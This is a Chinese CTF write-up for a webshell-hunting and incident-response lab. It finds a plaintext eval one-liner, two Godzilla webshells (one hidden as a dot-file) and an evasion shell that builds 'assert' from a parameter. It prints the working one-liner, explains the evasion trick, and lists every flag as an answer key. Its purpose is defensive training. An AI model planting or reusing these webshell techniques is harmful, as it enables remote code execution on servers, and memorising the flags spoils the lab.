玄机靶场:Webshell 查杀应急响应通关笔记
Webshell 查杀应急响应专业通关笔记一、题目信息本题属于典型的主机侧 Webshell 排查场景目标是在 Linux Web 服务器中定位攻击者留下的不同类型后门并提取对应 Flag。排查范围集中在 Web 根目录及其子目录分析重点包括明文一句话木马、基于管理工具生成的加密 Webshell、隐藏路径中的伪装文件以及利用拼接执行实现免杀的变形后门。项目内容场景类型Webshell 查杀 / 应急响应系统环境Linux已知账号root / xjwebshell核心目标定位 Webshell、识别工具类型、确认隐藏路径、分析免杀马二、排查思路这道题的解法比较直接核心是围绕 Web 目录做逐层排查。先找最显眼、最容易暴露的后门文件再逐步往子目录和隐藏文件扩展最后针对代码结构异常的样本做特征识别。实际操作时find、ls -la和cat基本就够用了关键在于是否能从代码特征里快速判断出木马类型和用途。排查顺序可以概括为先从根目录寻找异常 PHP 文件再进入 include 等业务目录查找可疑脚本然后结合隐藏文件命名和代码混淆特征判断是否属于管理型 Webshell最后再排查具备回调执行、参数拼接、编码解码等特征的免杀样本。三、步骤一定位根目录中的显性 Webshell进入/var/www/html后先在根目录找 PHP 文件find/var/www/html-maxdepth1-name*.php很快可以发现一个命名非常直接的文件shell.php。查看内容cat/var/www/html/shell.php文件内容如下?phpeval($_POST[1]);?//flag{027ccd04-5065-48b6-a32d-77c704a5e26d}这个样本就是最常见的一句话木马执行方式也非常典型直接通过eval($_POST[1])执行外部传入代码。题目把第一个 Flag 直接写在注释中因此这里可以直接得到结果。步骤结论发现文件/var/www/html/shell.php木马类型一句话 WebshellFlagflag{027ccd04-5065-48b6-a32d-77c704a5e26d}四、步骤二识别攻击者使用的管理工具继续扩大搜索范围find/var/www/html-name*.php在/var/www/html/include/下找到gz.php。查看内容后能看到几个明显特征使用session_start()通过自定义encode函数做异或处理数据来源是php://input并且代码中出现getBasicsInfo这样的标志字符串。这类特征非常典型基本可以直接判断为哥斯拉GodzillaWebshell。题目要求提交该工具 GitHub 地址的 MD5因此直接对其仓库地址计算摘要echo-nhttps://github.com/BeichenDream/Godzilla|md5sum得到结果39392de3218c333f794befef07ac9257步骤结论可疑文件/var/www/html/include/gz.php工具类型Godzilla Webshell提交值flag{39392de3218c333f794befef07ac9257}五、步骤三定位隐藏路径中的 Webshell前面已经确认攻击者使用了 Godzilla因此下一步要重点查找同类但隐藏更深的变体。排查 include 目录时需要特别注意以点号开头的隐藏文件ls-la/var/www/html/include/Db/在该目录中可以发现.Mysqli.php。继续查看文件内容cat/var/www/html/include/Db/.Mysqli.php内容与前面的gz.php本质一致说明这是攻击者放在数据库目录中的隐藏哥斯拉后门。题目要求提交完整路径的 MD5因此对路径字符串计算摘要echo-n/var/www/html/include/Db/.Mysqli.php|md5sum得到结果aebac0e58cd6c5fad1695ee4d1ac1919步骤结论隐藏文件/var/www/html/include/Db/.Mysqli.php伪装方式点号隐藏 业务目录伪装提交值flag{aebac0e58cd6c5fad1695ee4d1ac1919}六、步骤四分析免杀马样本最后需要定位免杀样本。继续检查 Web 目录中的异常 PHP 文件在/var/www/html/wap/下发现top.php。查看内容cat/var/www/html/wap/top.php关键逻辑可以概括为三步。首先脚本接收func参数并进行 Base64 解码其次用password作为异或密钥恢复真实 payload最后再接收func2参数和固定字符串拼接出目标函数名。当func2为sert时拼接结果就是assert从而触发任意代码执行。这种写法属于比较典型的变形一句话木马不直接写出危险函数而是通过参数和字符串拼接的方式规避静态规则检测因此题目将其归为免杀马。题目要求提交该文件完整路径的 MD5echo-n/var/www/html/wap/top.php|md5sum结果为eeff2eabfd9b7a6d26fc1a53d3f7d1de步骤结论免杀马路径/var/www/html/wap/top.php免杀手法Base64 XOR 函数名拼接执行提交值flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}七、完整答案汇总题目点答案黑客 webshell 里的 flagflag{027ccd04-5065-48b6-a32d-77c704a5e26d}工具 GitHub 地址 MD5flag{39392de3218c333f794befef07ac9257}隐藏 shell 完整路径 MD5flag{aebac0e58cd6c5fad1695ee4d1ac1919}免杀马完整路径 MD5flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}八、总结这道题的重点不在复杂利用而在文件排查能力和样本特征识别能力。如果只停留在查找最直白的一句话木马很容易漏掉藏在业务目录里的 Godzilla 后门也容易忽略通过参数拼接和编码解码实现的免杀样本。从排查经验来看这类题通常有三个稳定思路。第一先查根目录里的显性异常文件尽快拿到初始突破口第二进入业务子目录重点看隐藏文件和命名伪装文件第三遇到复杂 PHP 代码时不要急着逐行细抠而是优先抓特征例如php://input、异或解密、session、回调执行、危险函数拼接等。只要特征抓准判断木马家族和用途会快很多。如果是在真实应急场景里完成这一步之后还应继续结合访问日志、进程、计划任务和文件时间线做扩展排查确认是否还存在上传入口、横向驻留或其他持久化痕迹。